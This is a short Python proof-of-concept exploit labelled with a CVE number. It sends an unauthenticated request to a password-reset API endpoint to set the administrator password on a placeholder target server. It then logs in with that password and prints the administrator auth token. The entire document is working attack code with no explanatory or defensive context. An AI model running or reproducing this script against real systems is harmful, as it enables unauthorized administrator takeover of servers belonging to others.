CVE-2026-23760

import requests import json target = "http://target-server.com" admin_username = "admin" new_password = "P@ssw0rd123!" # Force reset administrator password via unauthenticated API call endpoint = f"{target}/api/v1/authentication/force-reset-password" payload = { "username": admin_username, "newPassword": new_password } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } response = requests.post(endpoint, json=payload, headers=headers) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Verify login with new password if response.status_code == 200: login_endpoint = f"{target}/api/v1/authentication/login" login_data = { "username": admin_username, "password": new_password } login_response = requests.post(login_endpoint, json=login_data, headers=headers) print(f"Login Status: {login_response.status_code}") if login_response.status_code == 200: print("[+] Successfully gained administrator access!") token = login_response.json().get("token") print(f"Auth Token: {token}")

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